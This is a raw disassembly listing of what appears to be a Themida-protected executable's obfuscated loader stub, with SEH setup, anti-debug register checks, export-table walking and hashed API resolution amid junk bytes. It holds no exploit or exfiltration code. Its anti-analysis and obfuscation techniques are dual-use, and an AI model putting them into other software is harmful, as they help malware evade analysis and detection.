		jnz	short loc_54D1BF
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6A838BDh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		call	near ptr loc_54D200+3
		scasb
		neg	byte ptr [ecx-6307A595h]
		xchg	dh, [edx-54h]
		push	ds


loc_54D200:				; CODE XREF: Themida_:0054D1F0p
		mov	ebx, 0D2BB2320h
		mov	fs, word ptr [eax]
		xor	[ebx+6Ah], ebx
		add	[ebp-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 5CDA2EC2h, 0B6EF30C1h, 0C22BA281h, 25D9B70Fh, 0FFFFF000h
		dd 0CA0AE4BBh, 33CA8B0Dh, 388166FFh, 0E755A4Dh,	3C50B70Fh
		dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5
		dd 4C48300h, 38D0958Dh,	645206A8h, 35FFh, 89640000h, 25h
		dd 2DC10300h, 1000h, 8104708Bh,	0FF0000E6h, 0FE81FFh, 76800000h
		dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h,	0EE810974h
		dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h
		dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h
		dd 100000h, 0C0335900h,	4C8B51C3h, 0E8551024h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6A838DBh
		lea	eax, [ebp+6A83899h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		pusha
		adc	si, 4B43h
		movzx	edi, di
		popa
		push	eax
		movsx	ebx, bx
		pop	ebx
		mov	cx, ds
		mov	bx, 5806h
		and	cl, 4
		push	esi
		sub	bx, 46CAh
		pop	ebx
		or	cl, cl
		jnz	loc_54D34C
		mov	dword ptr [ebp+6A8339Dh], 1
		add	bx, 7893h
		jmp	loc_54D37E
; ---------------------------------------------------------------------------
		mov	ebx, 22350228h


loc_54D34C:				; CODE XREF: Themida_:0054D32Dj
		mov	dword ptr [ebp+6A8339Dh], 0
		push	0
		push	edi
		call	sub_54D361
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54D361	proc near		; CODE XREF: Themida_:0054D359p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_54D361	endp

; ---------------------------------------------------------------------------
		db 9Bh,	0E6h, 0AAh
; ---------------------------------------------------------------------------
		xlat
		cmp	ebx, [edx-58h]
		and	ebx, 43ED149Bh


loc_54D37E:				; CODE XREF: Themida_:0054D342j
		mov	[ebp+6A831F9h],	eax
		jmp	loc_54D39A
; ---------------------------------------------------------------------------
		db 72h,	4Ah, 10h
		dd 75476C62h, 54725ECCh, 0F7B1A3ECh
		db 0BCh, 6Bh
; ---------------------------------------------------------------------------


loc_54D39A:				; CODE XREF: Themida_:0054D384j
		mov	[ebp+6A80F95h],	eax
		call	sub_54D3B5
		js	short loc_54D3AC
		or	al, 15h
		scasb
		sbb	dl, [esi]


loc_54D3AC:				; CODE XREF: Themida_:0054D3A5j
		test	[ebp+7C1819A7h], bh
		sal	byte ptr [ebp+69h], cl

; =============== S U B	R O U T	I N E =======================================



sub_54D3B5	proc near		; CODE XREF: Themida_:0054D3A0p
		push	ebx
		xor	dx, 42C6h
		pop	esi
		pop	ebx
		jnp	$+6
		add	ebx, 6A6Fh
		sub	edi, edi
		cmc


loc_54D3CC:				; CODE XREF: sub_54D401:loc_54D490j
		mov	eax, [ebx+edi]
		sbb	si, 0B3CCh
		add	eax, 672A1BFh
		sbb	esi, 32CACDB2h
		xor	eax, 456EFF9h
		cld
		sub	eax, 7E52DB5Fh
		call	sub_54D401
		imul	esi, [eax+eax*4-47h], 84370F11h
		or	al, 0CAh
		mov	eax, 0E30BF395h
sub_54D3B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54D401	proc near		; CODE XREF: sub_54D3B5+38p

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		adc	edx, 0B36CEEAh
		pop	ecx
		push	eax
		jl	loc_54D428
		jmp	loc_54D428
; ---------------------------------------------------------------------------
		dd 94F20907h, 0C17DBC7h, 6D7BF80Fh, 0DC237745h,	988A8D6Ah
; ---------------------------------------------------------------------------


loc_54D428:				; CODE XREF: sub_54D401+8j
					; sub_54D401+Ej
		pop	dword ptr [ebx+edi]
		push	ebx
		push	eax
		jnp	$+6
		pop	edx
		pop	ecx
		pusha
		jmp	loc_54D44D
; ---------------------------------------------------------------------------
		db 0F8h
		dd 961FA69h, 0DED75744h, 0D37257B9h, 63E172CDh
		db 0BFh
; ---------------------------------------------------------------------------


loc_54D44D:				; CODE XREF: sub_54D401+35j
		mov	eax, 7D834EEDh
		popa
		sub	edi, 4
		mov	edx, 30781BB1h
		cmp	edi, 0FFFF9688h
		jnz	loc_54D488
		jnb	loc_54D472
		mov	ecx, 34D3AD0Ch


loc_54D472:				; CODE XREF: sub_54D401+66j
		jmp	loc_54D4A0
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		das
		dec	ebp
		db	65h, 64h
		aaa
		inc	ebx
		imul	eax, [ebx-42B459EDh], 340C6E14h


loc_54D488:				; CODE XREF: sub_54D401+60j
		jge	loc_54D490
		mov	ch, 3Bh


loc_54D490:				; CODE XREF: sub_54D401:loc_54D488j
		jmp	loc_54D3CC
; ---------------------------------------------------------------------------
		db 1Ah,	8Eh, 45h
		dd 0C5B652Ah, 77914F93h
; ---------------------------------------------------------------------------


loc_54D4A0:				; CODE XREF: sub_54D401:loc_54D472j
		jmp	short loc_54D4A6
; ---------------------------------------------------------------------------
		dw 215h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D4A6:				; CODE XREF: sub_54D401:loc_54D4A0j
		jmp	loc_54DBA3
; ---------------------------------------------------------------------------
		jnp	loc_54D4D0
		ja	loc_54D4D0
		jmp	loc_54D4D0
; ---------------------------------------------------------------------------
		ror	dword ptr [eax-67h], 1
		lds	ebp, [ebp-3CD4A888h]
		xor	ah, [eax+6FD42942h]
		fstp	qword ptr [edx+edx*2+27h]
		aaa


loc_54D4D0:				; CODE XREF: sub_54D401+AAj
					; sub_54D401+B0j ...
		pusha
		stc
		sub	eax, eax
		sub	[ebp+6A83225h],	edi
		mov	edx, [esp+1Ch+arg_8]
		sub	[ebp+6A826B1h],	esi
		mov	[ebp+6A80E7Dh],	eax
		pusha
		mov	ecx, [ebp+6A81B81h]
		popa
		stc
		mov	esi, 3Ch
		sub	[ebp+6A814BDh],	edi
		add	esi, [esp+1Ch+arg_4]
		pusha
		cld
		mov	[ebp+6A831D9h],	edx
		popa
		lodsw
		or	[ebp+6A81691h],	edx
		add	eax, [esp+1Ch+arg_4]
		xor	[ebp+6A81115h],	ecx
		push	eax
		jmp	loc_54D529
; ---------------------------------------------------------------------------
		db 0F9h
		dd 246ABDD9h
; ---------------------------------------------------------------------------
		stosb


loc_54D529:				; CODE XREF: sub_54D401+11Dj
		mov	[esp+20h+var_20], eax
		jmp	loc_54D539
; ---------------------------------------------------------------------------
		db 58h,	71h, 0B5h
		dd 5DC6B93Fh
; ---------------------------------------------------------------------------
		pushf


loc_54D539:				; CODE XREF: sub_54D401+12Bj
		pusha
		and	cx, 0EE8h
		add	ecx, [ebp+6A815B1h]
		popa
		mov	eax, [eax+78h]
		js	loc_54D55B
		jge	loc_54D55B
		jle	$+6


loc_54D55B:				; CODE XREF: sub_54D401+148j
					; sub_54D401+14Ej
		add	eax, [esp+24h+arg_0]
		jp	loc_54D570
		pusha
		sub	[ebp+6A82785h],	edi
		or	al, 23h
		popa


loc_54D570:				; CODE XREF: sub_54D401+15Ej
		mov	eax, [eax+18h]
		pusha
		call	near ptr loc_54D586+2
		cdq
		push	edi
		push	edx
		xor	bh, 45h
		mov	[edx-3A356C47h], edx
		nop


loc_54D586:				; CODE XREF: sub_54D401+173p
		mov	byte ptr [esi],	8Bh
		rcr	byte ptr [eax+29h], 1
		mov	ebp, 6A83259h
		popa
		sub	[ebp+6A80CA9h],	ecx
		inc	eax
		xor	[ebp+6A8168Dh],	edi
		jno	loc_54D5AD
		pusha
		mov	ecx, [ebp+6A82189h]
		popa


loc_54D5AD:				; CODE XREF: sub_54D401+19Ej
		mov	[ebp+6A83A95h],	eax
		or	[ebp+6A8205Dh],	esi
		pop	eax
		pusha
		sub	cx, 9D5h
		mov	edi, [ebp+6A81125h]
		popa
		mov	esi, [eax+78h]
		jge	loc_54D5D6
		mov	[ebp+6A80CF9h],	ecx


loc_54D5D6:				; CODE XREF: sub_54D401+1C9j
		add	esi, 1Ch
		pusha
		push	ebx
		mov	[ebp+6A80F65h],	ecx
		pop	eax
		popa
		add	esi, [esp+24h]
		cld
		add	[ebp+6A8163Dh],	eax
		lea	edi, [ebp+6A8317Dh]
		mov	[ebp+6A81E11h],	ebx
		lodsd
		jg	loc_54D602
		stc


loc_54D602:				; CODE XREF: sub_54D401+1FAj
		add	eax, [esp+24h]
		clc
		stosd
		ja	loc_54D623
		jmp	loc_54D623
; ---------------------------------------------------------------------------
		db 0C8h
		dd 1F105DF2h, 81D7F066h, 4C0ACEF1h
; ---------------------------------------------------------------------------
		cmp	edi, [ecx-4Eh]


loc_54D623:				; CODE XREF: sub_54D401+207j
					; sub_54D401+20Dj
		lea	edi, [ebp+6A81445h]
		pusha
		mov	cx, di
		jno	loc_54D639
		mov	[ebp+6A81125h],	edi


loc_54D639:				; CODE XREF: sub_54D401+22Cj
		popa
		jmp	loc_54D648
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		shr	dword ptr [ecx+ebp+2A32FDEEh], cl


loc_54D648:				; CODE XREF: sub_54D401+239j
		lodsd
		mov	[ebp+6A80B5Dh],	ecx
		add	eax, [esp+24h]
		jle	loc_54D65F
		sub	[ebp+6A815BDh],	esi


loc_54D65F:				; CODE XREF: sub_54D401+252j
		pusha
		jl	loc_54D66C
		mov	eax, [ebp+6A82975h]


loc_54D66C:				; CODE XREF: sub_54D401+25Fj
		or	edi, [ebp+6A82B3Dh]
		popa
		nop
		jmp	loc_54D683
; ---------------------------------------------------------------------------
		test	al, 0F0h
		pop	ecx
		les	edx, [ecx-0Bh]
		pop	es
		pop	ds
		xlat
		push	esi


loc_54D683:				; CODE XREF: sub_54D401+273j
		push	eax
		pusha
		pusha
		mov	dh, bl
		call	loc_54D695
		pop	ss
		add	al, 0B2h
		mov	ecx, 7773EFF3h


loc_54D695:				; CODE XREF: sub_54D401+287p
		pop	edi
		popa
		call	loc_54D6AE
		lea	eax, [ebx+7Fh]
		pop	esp
		hlt
; ---------------------------------------------------------------------------
		db 64h,	0E4h, 6
		dd 0CDD2C4C4h, 0A0E7CF1Bh
		db 0E1h, 0C1h
; ---------------------------------------------------------------------------


loc_54D6AE:				; CODE XREF: sub_54D401+296p
		mov	bx, ax
		pop	edi
		popa
		nop
		sub	[ebp+6A82E2Dh],	esi
		stosd
		sub	[ebp+6A81F8Dh],	ecx
		jmp	loc_54D6D0
; ---------------------------------------------------------------------------
		dw 0CD91h
		dd 0B3F9EB58h, 9C9D1E36h
; ---------------------------------------------------------------------------


loc_54D6D0:				; CODE XREF: sub_54D401+2C0j
		lea	edi, [ebp+6A813F9h]
		or	[ebp+6A8274Dh],	ebx
		lodsd
		jmp	loc_54D6EA
; ---------------------------------------------------------------------------
		dw 87E3h
		dd 48A94F9Bh
; ---------------------------------------------------------------------------
		inc	ecx
		pop	ebx


loc_54D6EA:				; CODE XREF: sub_54D401+2DCj
		add	eax, [esp+28h]
		js	loc_54D70D
		jmp	loc_54D70D
; ---------------------------------------------------------------------------
		db 73h,	87h, 6Bh
		dd 5D48F578h, 75B0A53Eh, 2CD634Fh, 2C4657EDh
; ---------------------------------------------------------------------------
		inc	ebx


loc_54D70D:				; CODE XREF: sub_54D401+2EDj
					; sub_54D401+2F3j
		stosd
		mov	[ebp+6A82551h],	edi
		pop	esi
		clc


loc_54D716:				; CODE XREF: sub_54D401+3A1j
		dec	dword ptr [ebp+6A83A95h]
		cmp	dword ptr [ebp+6A83A95h], 0
		jnz	short loc_54D735
		mov	[esp+10h+arg_8], 0
		lea	esi, [ebp+6A83F6Ch]
		jmp	esi
; ---------------------------------------------------------------------------


loc_54D735:				; CODE XREF: sub_54D401+322j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+6A815D5h]
		test	al, al
		jz	short loc_54D74C
		cmp	al, [edi]
		jnz	short loc_54D798


loc_54D74C:				; CODE XREF: sub_54D401+345j
		push	edi
		xor	al, al


loc_54D74F:				; CODE XREF: sub_54D401+34Fj
		scasb
		jnz	short loc_54D74F
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54D75C:				; CODE XREF: sub_54D401+384j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54D76B:				; CODE XREF: sub_54D401+37Dj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54D77C
		xor	ax, 5041h
		xor	bx, 5449h


loc_54D77C:				; CODE XREF: sub_54D401+370j
		dec	dh
		jnz	short loc_54D76B
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54D75C
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54D7A7


loc_54D798:				; CODE XREF: sub_54D401+349j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6A80E7Dh]
		jmp	loc_54D716
; ---------------------------------------------------------------------------


loc_54D7A7:				; CODE XREF: sub_54D401+395j
		pop	esi
		jz	loc_54D7B4
		mov	[ebp+6A81EF5h],	ecx


loc_54D7B4:				; CODE XREF: sub_54D401+3A7j
		mov	[ebp+6A819CDh],	edx
		jmp	loc_54D7D0
; ---------------------------------------------------------------------------
		db 3Eh
		dd 191E1A26h, 3041EF11h, 0D7FE796Fh, 0B343212Fh
; ---------------------------------------------------------------------------


loc_54D7D0:				; CODE XREF: sub_54D401+3B9j
		mov	eax, [ebp+6A80E7Dh]
		jmp	loc_54D7E2
; ---------------------------------------------------------------------------
		db 31h
		dd 0D9AF48D7h
		db 0DBh, 31h
; ---------------------------------------------------------------------------


loc_54D7E2:				; CODE XREF: sub_54D401+3D5j
		shl	eax, 1
		cmc
		add	eax, [ebp+6A813F9h]
		mov	[ebp+6A82649h],	eax
		mov	esi, 0
		stc
		xchg	eax, esi
		jle	loc_54D805
		jnb	loc_54D805
		clc


loc_54D805:				; CODE XREF: sub_54D401+3F7j
					; sub_54D401+3FDj
		mov	[ebp+6A826CDh],	esi
		lodsw
		add	[ebp+6A82601h],	ecx
		shl	eax, 2
		sub	[ebp+6A805EDh],	esi
		add	eax, [ebp+6A8317Dh]
		mov	[ebp+6A80695h],	ecx
		xchg	eax, esi
		stc
		lodsd
		sub	[ebp+6A83149h],	edx
		mov	ecx, [esp+24h]
		jmp	loc_54D83F
; ---------------------------------------------------------------------------
		pop	es
		push	eax
		add	[edx], dh
		dec	edi


loc_54D83F:				; CODE XREF: sub_54D401+434j
		add	eax, [esp+24h]
		mov	[ebp+6A80589h],	eax
		mov	[esp+10h+arg_8], eax
		js	loc_54D85F
		jz	loc_54D85F
		add	[ebp+6A81BCDh],	esi


loc_54D85F:				; CODE XREF: sub_54D401+44Cj
					; sub_54D401+452j
		xchg	eax, esi
		xor	[ebp+6A8277Dh],	edi
		lodsb
		jge	loc_54D86E
		clc


loc_54D86E:				; CODE XREF: sub_54D401+466j
		xor	cl, cl
		or	[ebp+6A80ADDh],	esi
		jmp	loc_54D88C
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0EEF6BDCDh, 0DF88DF4Ch, 12969294h, 36DF1AA1h
; ---------------------------------------------------------------------------


loc_54D88C:				; CODE XREF: sub_54D401+475j
		inc	cl
		jmp	loc_54D8A5
; ---------------------------------------------------------------------------
		db 86h
		dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 6911EB70h
; ---------------------------------------------------------------------------
		icebp


loc_54D8A5:				; CODE XREF: sub_54D401+48Dj
					; sub_54D401+4F1j
		rcl	al, 1
		jnb	loc_54D979
		mov	[ebp+6A83361h],	eax
		rcl	al, 1
		jnb	loc_54D979
		mov	[ebp+6A80AADh],	esi
		rcl	al, 1
		jb	loc_54D979
		clc
		jl	loc_54D8D6
		sub	[ebp+6A819A9h],	esi


loc_54D8D6:				; CODE XREF: sub_54D401+4C9j
		rcl	al, 1
		jb	loc_54D979
		jmp	loc_54D8F0
; ---------------------------------------------------------------------------
		db 80h
		dd 7C39E4FDh, 22BA08FDh, 0B33EC3D7h
; ---------------------------------------------------------------------------


loc_54D8F0:				; CODE XREF: sub_54D401+4DDj
		dec	cl
		jns	loc_54D8A5
		js	loc_54D904
		or	[ebp+6A81B79h],	ecx


loc_54D904:				; CODE XREF: sub_54D401+4F7j
		jnz	loc_54D912
		jnb	loc_54D912
		pusha
		popa


loc_54D912:				; CODE XREF: sub_54D401:loc_54D904j
					; sub_54D401+509j
		add	esp, 20h
		pusha
		mov	[ebp+6A81785h],	ecx
		jmp	loc_54D92B
; ---------------------------------------------------------------------------
		db 2Bh,	0F9h, 73h
		dd 1E7FF559h
		db 0E4h, 20h, 32h
; ---------------------------------------------------------------------------


loc_54D92B:				; CODE XREF: sub_54D401+51Bj
		popa
		mov	[esp-10h+arg_8], 0
		mov	[ebp+6A81E99h],	esi
		mov	eax, 1
		pusha
		sub	[ebp+6A8000Dh],	esi
		popa
		sub	[ebp+6A81A01h],	ebx
		lea	ecx, [ebp+6A87120h]
		sub	[ebp+6A82529h],	edx
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_54D973
; ---------------------------------------------------------------------------
		dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh
		db 0E8h, 90h, 23h
; ---------------------------------------------------------------------------


loc_54D973:				; CODE XREF: sub_54D401+55Aj
		mov	[ebp+6A829B5h],	ecx


loc_54D979:				; CODE XREF: sub_54D401+4A6j
					; sub_54D401+4B4j ...
		mov	byte ptr [ebp+6A815D5h], 0
		jp	loc_54D99D
		jmp	loc_54D99D
; ---------------------------------------------------------------------------
		db 28h
		dd 0A39FDC26h, 6714547Ah, 9B2B8F3Eh, 0DB726FE3h
		db 90h
; ---------------------------------------------------------------------------


loc_54D99D:				; CODE XREF: sub_54D401+57Fj
					; sub_54D401+585j
		popa
		mov	[ebp+6A807B1h],	edi
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+6A810FDh],	edi
		xchg	eax, esi
		jmp	loc_54D9B9
; ---------------------------------------------------------------------------
		db 0C1h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	0D7h, 91h
		db 0EFh
; ---------------------------------------------------------------------------


loc_54D9B9:				; CODE XREF: sub_54D401+5ADj
		push	eax
		jmp	loc_54D9CE
; ---------------------------------------------------------------------------
		db 95h
		dd 0D84B634Dh, 64DFD878h, 0C0EFEA21h
		db 15h,	3Ah
; ---------------------------------------------------------------------------


loc_54D9CE:				; CODE XREF: sub_54D401+5B9j
		xchg	eax, esi
		jmp	loc_54D9E2
; ---------------------------------------------------------------------------
		dd 2A7C5033h, 77C816B6h, 0FC51EDACh
; ---------------------------------------------------------------------------
		add	al, 1


loc_54D9E2:				; CODE XREF: sub_54D401+5CEj
		mov	[ebp+6A84139h],	esi
		pusha
		movsx	eax, di
		mov	ebx, [ebp+6A8311Dh]
		popa
		mov	[ebp+6A81589h],	edx
		mov	[ebp+6A84150h],	ecx
		cld
		lea	esi, [ebp+6A84024h]
		mov	[ebp+6A80BF9h],	ecx
		lea	eax, dword_5B8EA1[ebp]
		pusha
		sub	[ebp+6A82E61h],	esi
		sub	[ebp+6A8261Dh],	edi
		popa
		call	eax
		cmc
		pop	esi
		mov	[ebp+6A82521h],	eax
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+6A80BD5h],	ebx
		mov	esi, [ebp+6A84139h]
		jbe	loc_54DA43
		or	[ebp+6A824E5h],	eax


loc_54DA43:				; CODE XREF: sub_54D401+636j
		jg	loc_54DA4F
		mov	[ebp+6A829D9h],	edx


loc_54DA4F:				; CODE XREF: sub_54D401:loc_54DA43j
		mov	ecx, [ebp+6A84150h]
		add	[ebp+6A82A15h],	edi
		sub	[ebp+6A82BD9h],	ebx
		sub	eax, eax
		pusha
		mov	eax, [ebp+6A81631h]
		mov	ebx, [ebp+6A82D81h]
		popa
		sub	[ebp+6A825A9h],	esi
		mov	ebx, ecx
		pusha
		mov	[ebp+6A80DD9h],	edi
		js	loc_54DA8C
		jnb	$+6


loc_54DA8C:				; CODE XREF: sub_54D401+67Fj
		popa
		jmp	loc_54DB2B
; ---------------------------------------------------------------------------
		cmc


loc_54DA93:				; CODE XREF: sub_54D401+72Cj
		xor	ah, [esi]
		pusha
		clc
		mov	ecx, [ebp+6A82761h]
		popa
		mov	dl, 2
		or	[ebp+6A832F5h],	ebx
		jmp	loc_54DB03
; ---------------------------------------------------------------------------
		jg	loc_54DAB7
		add	[ebp+6A82511h],	edx


loc_54DAB7:				; CODE XREF: sub_54D401+6AAj
					; sub_54D401+704j
		xor	al, dl
		cld
		add	eax, 8A751D7Ah
		sub	[ebp+6A8171Dh],	ebx
		mov	cl, ah
		sub	[ebp+6A8093Dh],	ebx
		ror	eax, cl
		jmp	loc_54DADC
; ---------------------------------------------------------------------------
		dd 0E6A64452h, 9342B20Fh
; ---------------------------------------------------------------------------


loc_54DADC:				; CODE XREF: sub_54D401+6CEj
		xor	eax, 98D10842h
		cld
		pusha
		and	ax, 0D9D3h
		mov	eax, ecx
		popa
		dec	dl
		jno	loc_54DAF4
		cld


loc_54DAF4:				; CODE XREF: sub_54D401+6ECj
		pusha
		mov	eax, [ebp+6A8297Dh]
		jb	loc_54DB02
		cmc


loc_54DB02:				; CODE XREF: sub_54D401+6FAj
		popa


loc_54DB03:				; CODE XREF: sub_54D401+6A5j
		or	dl, dl
		jnz	loc_54DAB7
		jl	loc_54DB19
		jno	loc_54DB19
		pusha
		popa


loc_54DB19:				; CODE XREF: sub_54D401+70Aj
					; sub_54D401+710j
		dec	ebx
		pusha
		mov	bl, 0B3h
		or	ebx, 345045FDh
		popa
		inc	esi
		sub	[ebp+6A81AD9h],	edi


loc_54DB2B:				; CODE XREF: sub_54D401+68Cj
		or	ebx, ebx
		jnz	loc_54DA93
		mov	[ebp+6A824E5h],	edx
		mov	[ebp+6A81F99h],	edx
		iret
; ---------------------------------------------------------------------------
		dd 2621BD89h, 6A8h, 5DDBD29h, 0F806A8h,	68A0F00h, 89000000h
		dd 0A807B9B5h, 0E9000006h, 11h,	110B099Eh, 0F1949409h
		dd 4F8326Bh, 72300E7Dh,	0E9000026h, 13h, 0B866D76Fh, 0EF84C81h
		dd 5C2AC205h, 0ADC68931h, 0F85E9BBh, 0E8Eh, 95336000h
		dd 6A8256Dh, 213DBD8Bh
; ---------------------------------------------------------------------------
		test	al, 6
		popa


loc_54DBA3:				; CODE XREF: sub_54D401:loc_54D4A6j
		lea	eax, [ebp+6A83AC3h]
		xor	[ebp+6A83319h],	edi
		mov	[ebp+6A82D7Dh],	eax
		pusha
		mov	dh, al
		call	sub_54DBC7
		mov	[ebp+17h], dh
		sub	cl, ss:[eax-55FD0760h]
sub_54D401	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54DBC7	proc near		; CODE XREF: sub_54D401+7B7p
		mov	eax, [ebp+6A80DE9h]
		pop	esi
		popa
		lea	eax, [ebp+6A83FA0h]
		jns	loc_54DBE1
		sub	[ebp+6A81B5Dh],	eax


loc_54DBE1:				; CODE XREF: sub_54DBC7+Ej
		mov	[ebp+6A802DDh],	eax
		call	near ptr loc_54DBF0+3
		xchg	eax, edi
		push	36h
		pop	es
		assume es:nothing


loc_54DBF0:				; CODE XREF: sub_54DBC7+20p
		mov	byte ptr [ebx+5A5E57C6h], 0Fh
sub_54DBC7	endp ; sp-analysis failed

		mov	eax, ds:66000000h
		and	ebx, 0C281C56Ah
		db	66h
		add	cs:[eax], al
		call	sub_54DC11
		test	eax, 0C4E6ED2Bh

; =============== S U B	R O U T	I N E =======================================



sub_54DC11	proc near		; CODE XREF: Themida_:0054DC07p

; FUNCTION CHUNK AT 0054DE26 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054DFD9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054E9B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005514E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572C5A SIZE 0000000E BYTES

		push	eax
		mov	[ebp+6A81F19h],	edx
		pop	ebx
		pop	eax
		push	1957h
		jmp	loc_54DC2D
; ---------------------------------------------------------------------------
		dd 41EB00DFh, 0EFDD214h
		db 0B0h
; ---------------------------------------------------------------------------


loc_54DC2D:				; CODE XREF: sub_54DC11+Ej
		pop	edi
		sub	[ebp+6A830E5h],	edi


loc_54DC34:				; CODE XREF: sub_54DC11:loc_54DCACj
		push	dword ptr [edx]
		sub	ebx, [ebp+6A82FADh]
		pop	ecx
		jnp	loc_54DC53
		jmp	loc_54DC53
; ---------------------------------------------------------------------------
		dd 0B5C0CFBEh, 0E58B66B8h
		db 83h,	0AFh, 6Ah
; ---------------------------------------------------------------------------


loc_54DC53:				; CODE XREF: sub_54DC11+2Cj
					; sub_54DC11+32j
		add	ecx, 4A08537Dh
		sub	eax, 16754040h
		xor	ecx, 7A568F1Fh
		mov	ah, 0FBh
		add	ecx, 400EFBCDh
		push	ecx
		mov	[ebp+6A81769h],	ecx
		pop	dword ptr [edx]
		mov	[ebp+6A82F25h],	eax
		sub	edx, 1
		stc
		dec	edx
		dec	edx
		dec	edx
		xor	esi, [ebp+6A82A95h]
		dec	edi
		jnz	loc_54DCA0
		add	esi, 51820CCEh
		jmp	loc_54DCC2
; ---------------------------------------------------------------------------
		db 0D1h
		dd 25DC147Bh
; ---------------------------------------------------------------------------


loc_54DCA0:				; CODE XREF: sub_54DC11+79j
		jl	loc_54DCAC
		mov	[ebp+6A801F1h],	edx


loc_54DCAC:				; CODE XREF: sub_54DC11:loc_54DCA0j
		jmp	loc_54DC34
; ---------------------------------------------------------------------------
		db 4Eh,	88h, 64h
		dd 0C5580728h, 71B2ACE6h, 0F366F06Fh
		db 92h,	6Bh
; ---------------------------------------------------------------------------


loc_54DCC2:				; CODE XREF: sub_54DC11+85j
		jmp	short loc_54DCD8
; ---------------------------------------------------------------------------
		dd 4 dup(0)
		dd 85h
; ---------------------------------------------------------------------------


loc_54DCD8:				; CODE XREF: sub_54DC11:loc_54DCC2j
		lea	eax, [ebp+6A8438Ch]
		mov	[ebp+6A80C71h],	eax
		cmp	dword ptr [ebp+6A842C3h], 0
		jz	loc_54DE26
		mov	byte ptr [ebp+6A815D5h], 56h
		call	near ptr loc_54DD00+1
		cmp	[ebp+1Fh], ebp


loc_54DD00:				; CODE XREF: sub_54DC11+E7p
		aam	50h
sub_54DC11	endp ; sp-analysis failed

		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	[ebp+6A842B7h],	eax
		mov	byte ptr [ebp+6A815D5h], 56h
		call	near ptr loc_54DD2E+3
		push	edx


loc_54DD2E:				; CODE XREF: Themida_:0054DD28p
		mov	eax, 8B509CA8h
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	[ebp+6A842BBh],	eax
		push	4
		push	0BC3933D1h
		add	dword ptr [esp], 43C6DC2Fh
		mov	eax, [ebp+6A842C7h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp], eax
		push	0
		call	dword ptr [ebp+6A842BBh]
		mov	[ebp+6A842BFh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+6A80C71h]
		mov	eax, ebx
		call	dword ptr [ebp+6A80C71h]
		jmp	loc_54DE26
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6A842C3h], 0
		jnz	loc_54DDA7
		retn
; ---------------------------------------------------------------------------


loc_54DDA7:				; CODE XREF: Themida_:0054DDA0j
		push	edi
		mov	edi, [ebp+6A842BFh]
		stosd
		add	dword ptr [ebp+6A842BFh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6A842C3h], 0
		jnz	loc_54DDC6
		retn
; ---------------------------------------------------------------------------


loc_54DDC6:				; CODE XREF: Themida_:0054DDBFj
		pusha
		sub	dword ptr [ebp+6A842BFh], 4


loc_54DDCE:				; CODE XREF: Themida_:loc_54DE21j
		mov	ebx, [ebp+6A842BFh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_54DDFB
		push	0C783BDA8h
		add	dword ptr [esp], 387CC258h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6A842B7h]
		popa
		retn
